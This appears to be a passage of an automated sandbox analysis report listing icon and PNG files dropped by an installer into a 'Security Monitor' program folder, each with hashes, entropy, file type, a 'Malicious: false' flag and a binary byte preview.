Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..........................n...n...q...v...w...v...w...x...x...w...w...w...v...w...v...w...v...w...w...w...v...w...w...x...w...v...w...w...u...q...n...n...n...w.......{...y...y...x...z...z...y...y...y...w...x...x...z...y...x...y...y...x...x...x...y...x...z...x...z...{.......w...n...s.......t...r...r...s...r...r...s...s...r...r...r...r...r...q...s...q...s...s...s...s...r...t...s...s...r...r...r...r.......s...y.......s...r...t...s...u...u...s...s...t...u...u...u...t...s...s...s...u...u...s...u...t...t...s...t...t...s...t...u.......x...z.......w...v...v...u...u...w...v...v...u...v...u...v...w...v...u...t...u...u...u...v...w...u...u...v...u...v...u...v.......y...{.......v...w...v...v...w...x...v...x...w...x...w...u...v...u...w...u...u...u...v...x...v...w...v...v...x...x...x...w.......z...\|.......x...y...y......................{...y....P...................O..x...x...z...y......................x...z...y.......{...\|.......{...z...z......................z

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-3OLB7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0497425098377073
Encrypted:	false
SSDEEP:	48:lLkTTTTTTTTTTTTTTTTTTTuTTTTTTTTTTTTTTTTTTTTTTTTTT/TTTTTTTTTTTTTt:J4Osj4
MD5:	BF35CDB2F5E57DDFC543AF37943A1077
SHA1:	0CF4E53B9B623BEF1E52BDEFCD31D155EAA4C9C2
SHA-256:	82803689C06BF4D08AA1852D2C5CD3CE08258C828F12DF85C56BB6FC21A8E835
SHA-512:	60CC6A06BD361CFD73D696717225CDB3B57278840606558D1B65390B531A590BDF08B2CB147B3159529DBB30D5C953C693E663D7E589B1E03756121EC3040199
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................$$.........$.......5...<...C...G...K...O...S...S...P...N...K...E...>...7...0...#.......................................Q..........................................................................................................T...............\|...................................................................................................................\|..............................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-3TAFS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.907302157036138
Encrypted:	false
SSDEEP:	48:+BfZk7WDHWwgHz/8EKnha1Za+Wt4UhU6XkfAsq6BfyTLDJa8LaMahaavC:ykCrFEZ1k+Wt4UG54sqU6TJaoaMahaa
MD5:	E6EB914C76409FE1F3D53E3C181CC9D9
SHA1:	36A34D8F71B146A39A68F7C0AB02A566FCA24A85
SHA-256:	060DFC41C4D3CCEFA3FD8E104302B42408DA7F54CA13096ED7836EF57C5B4D6D
SHA-512:	7EA5748DF3C9229E166AC5578A23C56FEFC3E395A53D24305FB39D909F1F5ED5193A5F349824890C31D0AD90F7A6A574184A5E0E52C4BA83D868C71B94BB8B87
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ................................................................................................................................................................................................................................................................................................................[...................................................................................[...................................-..................................................................................................-......................................................................................................................................................[...........................................................................................................[.............................................................Q..'.....................*..................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-48PES.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-6LKCL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-8NBV5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.673387955380768
Encrypted:	false
SSDEEP:	96:Q0YV+XQJt9CeeTQLvNDg9m8nlVlurzJW37a5Mm9bYHEh:9YxCeQQ5DgM8nlVgr9W3emm9bYHEh
MD5:	ECDF723831AEFF58D496FC70C8283BF6
SHA1:	F4FAC6B07305CFB612625391FC50333071665167
SHA-256:	97D0CF1DB2088A9D3EDDE44EF4BBE8731C82FE8539C89BB45A72E9F131BDCE19
SHA-512:	B7FCDCF49BE8507950EFE02890BE516A99BACE7DAB1D6571DF4037C95011491944AE107EE5E507BFDAF342048264AA623E44AAE66824088333DC343051734866
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..............................6...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...6.......:...L...U...N...M...N...Q...T...X...]...b...f...j..!n.."q..#s..$s..#s.."q..!n...j...f...a...]...X...T...Q...N...N...U...L...:...:...X...F...@...?...?...B...E...I...N...S...W...[...^...b...c...c...c...a...^...[...V...R...M...I...E...B...?...@...F...X...:...;...U...D...A...@...@...A...C...F...J...M...P...S...V...X...Y...Z...Y...X...V...S...P...L...I...F...C...A...@...A...D...U...;...<...V...F...C...B...A...@...A...C...E...H...J...L...N...O...P...P...O...O...M...K...I...G...E...C...A...A...B...C...F...V...<...=...W...G...F...C...B...A...@...A...B...C...A...B...D...G...H...H...G...E...B...B...C...C...B...A...A...B...C...F...G...W...=...=...Y...I...G...F...D...C...B...A...B...>...5...1\|..5...>...C...C...?...6...1\|..5...?...B...A...B...C...D...F...G...I...Y...=...>...[...K...I...I...G...G...D...C...C...D

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-BQELM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.433906899003064
Encrypted:	false
SSDEEP:	48:FYv/RQcs//cF///cPG/////cP5Q//////cPQ////////ce///////cE4/////c3Q:uv/RdBmTBVlbaMeExLKwePaSO
MD5:	5B44B02CBAC63F77EDFDB9C6B685AD91
SHA1:	D8592C8C56F4E6DE68835268459472F24362A9CD
SHA-256:	9CD7273F90F5F7C4BD2003695920A551B204A2F73690D6B0918323E2649DD15A
SHA-512:	F0D33196CE43A5D599D271E1176A5A76FD09B271A3B44810CD9DE9310FE4EF57EA1D71918F6B596C1AB42755C890B61D5EF49EBDDE72D5AC879C137B497E83E6
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................L]..LY.MY..........................................................................9../9..-8.2....O_..MY..MZ..MZ................................................................................................./9../9..-7..-8.2NY.XMZ..MZ..MZ...........................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-DIE9M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	6.0320556453234735
Encrypted:	false
SSDEEP:	48:9C4c77Xlnvx3vIrhdu95k8e00PK5Qw9hN51sEUqK4hlEVnNApv1k8Z5RWVG4444M:44I7X9Zft0P0r+oh/wVnQv3RWVtrQbe
MD5:	AC6FE311F112F577F6A7108D053180ED
SHA1:	AEA6C67AE58A4B0452BBC37170A2F8C948ADE5C1
SHA-256:	5AC764E501C1968A766B7DDCAF3407F25E212EB3E1147D1DF3B34336A511E63F
SHA-512:	A7EFD0FEED7C54DC5756265936AB2E091F2465AE73F4C7A5254AECDA3B02291343822F22FA61399F91B35762655B26D8FB479492561CAEA5F39F33FBE0178281
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .............................eee.```.nnn.jjj+lll;mmmClllEjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGlllEmmmCkkk;kkk-jjj.ooo.```.....nnn.rrr.kkk%kkkGkkkcmmmukkk.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.mmm.lllwmmmckkkGnnn'kkk.mmm.lll.lll#mmmMmmmw.i\..gP.gL.iN.iN.jO.kO.lO.mP.mQ.nR.pR.qS.rS.qR.pR.nR.mQ.mP.kO.kO.jO.iQ.j\.lllwkkkMhhh%qqq.jjj.lll;rkhw.dI...................................................................gJ.tjf{lll=mmm.jjj!lllQ.cH.a>.....d..nK..jE..jF..lF..mG..nH..oI..qJ..rJ..sK..sK..vN..wN..vN..uM..sL..pJ..nH..nG..pL..d.....e@..eH.mmmQmmm!iii).fY.._=.....vV..c?..e@..fA..gA..hB..jC..kD..lD..mE..nF..oF..k@.....................}..d;..iC..hB..gA..wV.....c?..gV.mmm)mmm-.aI......e..b>..c?..d@..e@..gA..hB..iC..jC..kD..lE..mE..mE..h?.........................b9..iC..hB..fA..e@..d.....dI.lll+kkk-._D.....mM..a>..b>..d?..e@..fA..gA..h

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-E47BI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-E9CVV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-F6LJG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-FLQ9H.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.713510909371912
Encrypted:	false
SSDEEP:	48:+bQZkzhN60+qAWGgEoP30eRH4VAIEftmtCCPV7VrllypoC:z6N6/WGChsKUtHVH4poC
MD5:	9D7DB8AFD191BC67C9E410619010B1CB
SHA1:	19B0D0D72B3656FEE507E633739CF71B3FD642E9
SHA-256:	1A27BB476C1E83AFF622369138CA27B866B6D7865A35E021A0985FA3CCB023A3
SHA-512:	98D3105521E6E5625FF8E822A327455624395347C5CB5736720164078842E84411531BE03C3C59166DA8F5EB3A682EA5D0BCF6F74C97E9DE61EE4505BF19FDD2
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ......................................................................................................................................................................................................................................................................................................D...C...B..A...@...@...?...>...=...=...<...;...:...:...9...8...8...8...8...8...8...8...8...8..8...8.......................E...D..F...P...R"..V'..U&..T&..S%..S$..R$..Q#..P#..O"..N"..M!..M!..L ..K...J...I...H...F...C...@...9...8..8...................E...G...X'..X(..X(..W'..V'..U&..T%..S%..R$..R$..Q#..P#..O"..N"..M!..L ..L ..K...J...I...H...G...F...E...9...8...................F..S!..Z)..Y)..X(..W(..W'..V&..U&..T%..S%..R$..Q$..Q#..P#..O"..N!..M!..L ..K ..K...J...I...H...G...F...@...8...................G...V%..[..Z)..Y)..X(..W'..V'..V&..U&..T%..S%..R$..Q$..g...X..X..X..X..X..X..X..g...I...H...G...C...8...................H...\+..[..[*..Z)..Y)..X(..W(..W

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-FM5FR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.532691390134044
Encrypted:	false
SSDEEP:	96:nY99Q99TqqeqQEqqeqQ4q0AqPwqKzj05pjskYoE6cCLa5v8XrimfI:vqqeqQEqqeqQ4q0AqPwqKzj05pjxzBaL
MD5:	EA7CF6E021F69BF2044DC239F9875D65
SHA1:	69699CA689463AC506D522CB95EA2507EE9D59F9
SHA-256:	524AE1533708F5B47C73B4513662DAE775303FC2EF5D39B238D139C18864D24B
SHA-512:	019AE06EA6F6CA327465EEBCBF54055CE833B5D5C1BB79AF89EE26351B088BB11E8E1E9544563FC663939D6D25DD2314BE208BDC0AFD6699741103E4C57CA090
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..............................................................................................................................................................................................................................................................................................5y{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c...5y............../..4..:..A..J...S...\...f...p...w..............................y...o...c..Y..P..G..@..;..3..............3..<...B...C...C...E...J...J...J...J...J...E...C...C...C...C...D...I...J...J...J...J...I...C...C...C...C...B...?..0..........;...G...I...I...I...I...K...Q...Q...Q...Q...Q...L...I...I...I...I...J...P...Q...Q...Q...Q...P...J...I...I...H...A..5...........<...J...O...I...I...I...I...K...Q...Q...Q...Q...Q...L...I...I...I...I...J...P...Q...Q...Q...Q...P...J...I...I...B..3...........<...J...Q...O...I...I...I...I...K...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-JAAI0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.977825738278547
Encrypted:	false
SSDEEP:	96:hszWWWWWWWWWWWWWWWWWWWWWWWWWWWWxDrsAC/nqfyS:hszWWWWWWWWWWWWWWWWWWWWWWWWWWWWF
MD5:	013FF196FE6FA64188221F539A0C75FA
SHA1:	167852F22EEC0C7CD621ECB343DF0F05A855343E
SHA-256:	27B388961D008A5B3085B27942F398021EC73D57549EA62EFF9D1D9542A8C4AD
SHA-512:	046BE975703A10D75ED67D7C71EC87E63F2FD1CE8915521BD30629B6A4A06E3D10EA646B4ADE10F2D8ECC9297FB5165741E1AD4BDB961669CE66E19B80EBCE61
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .................................\|...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...}...............y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y.......\|...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...}...v...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...v...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...r...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...o...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...m...n...n...n...n...n...n...n...n...p.....

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-LNKG9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	2.907368134642011
Encrypted:	false
SSDEEP:	48:WRkPCxmKeaeee6Sz1WDl2bbkVmB4g7mGpzSl:0xmKfSz18C+wQl
MD5:	5738301E256B421DA693EFD4DC523727
SHA1:	18C0624ED82BA03C8A1FBDB720F47DAEE5A694E3
SHA-256:	67CD0A812DBCB3FAC6D87A01EF134D66937DA8166602854CB6FC01DA7A94388D
SHA-512:	75E6B019DBBA805982A4168D17FEB46DFF8C832DA1BA0A6B3C131725FB0D0ECD598532576620A086867EE679486819FB0332F25597E9FC1B42454E846B3EC84D
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ............................................................................................................................................................................................G.......................................................................5...............................................................U...........................................(...........................................................................................u...........................0...........................................................................]...............................}...........5...................................................................................:...........................................................................................................................................................................................................~..................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-PJQCK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-PU2SN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	476
Entropy (8bit):	7.439177858532215
Encrypted:	false
SSDEEP:	12:6v/7iFaKslEOmLWhwS6ANwTrK7GqrOGZdM0Rtc:7aLlCWhP2fqrOLMtc
MD5:	6591C6A99B1C83E8E82DFBC47DB14D09
SHA1:	391F976F86FDA9E1DDA177B835E38BDEB4916F63
SHA-256:	B6EECDBD6BE6362A75FD90B6E8B322EF64CAFCF9AB207411DAAA255C88E50572
SHA-512:	D10B15A84A63C6C6BAAE451363C60DEC05C39BF7559CB26A205B800EAC5E40271DB17C3A49AA2BBC2FF25FF7FC2FB32AB7D0521BE071B18FFF91CF18DFC80C08
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR... ... .....szz.....IDATX...+Cq....Y...$b\xO..R".z#g....BK.9..6.6.a.Vl...(/M..b.ll4g...su....{^.2..y.4I@.......k....Q...u..$..l.n....\|....\|)h...N..F...WUY..\.p0u0j.@.....0..n;,s%.I.,U.'..o...O.1.MM0...&...J\X./....S...x.......f...d....'_.O.r..A..m.[(..a'.#.?....Z.80.."...D.>.5.3.>...b.P\|.T...'...i/l..B....A.:...<G!p...X. ......(.......*...T!..;.=.(......V..V...N...........B..n..W....h.0.po6.9.e.=+..$..@t..R\|.).>>....~........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-RJRR9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	6.506385614203068
Encrypted:	false
SSDEEP:	96:8++kbjhMq1a9dJsg987jefKQ4N8tttttttttttttttttt6n:v+kbjhMgxjefKVl
MD5:	7B60FEEE9EF0D5277330748C9E1592A3
SHA1:	54DCE445A030CF59EFC15B1AB977EE6358BC02BC
SHA-256:	8891B8CB9AD98FB86BEA6DD1D3D8717C997440CEE2519565A3D9B46133FDB5DC
SHA-512:	915D4CD6C012DB9EC96257D4B1AD40367E1DE0940A22695547EA55DACBD2DB3FCD869556886013618A5F09053C6C8CBE97950E798794B1E681488FE98F52E84F
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ....................................6-...Y>#.oO,.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.oO,.Y>#.-......6...............OzU-..R...R..\|O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..\|O...R...R.zU-....O.......%}W...P..vK..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..vK...P.}W.....%6#.w.~M..uH..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..uH..~M.6#.wsO(..xK..qF..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qF..xK.sO(..b4.tG..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..tG..b4.c5.qD..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..qD..c5.c5.pB..m@..l@..l@..l@..l@..k>..j=..j=..k

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-TQMOT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
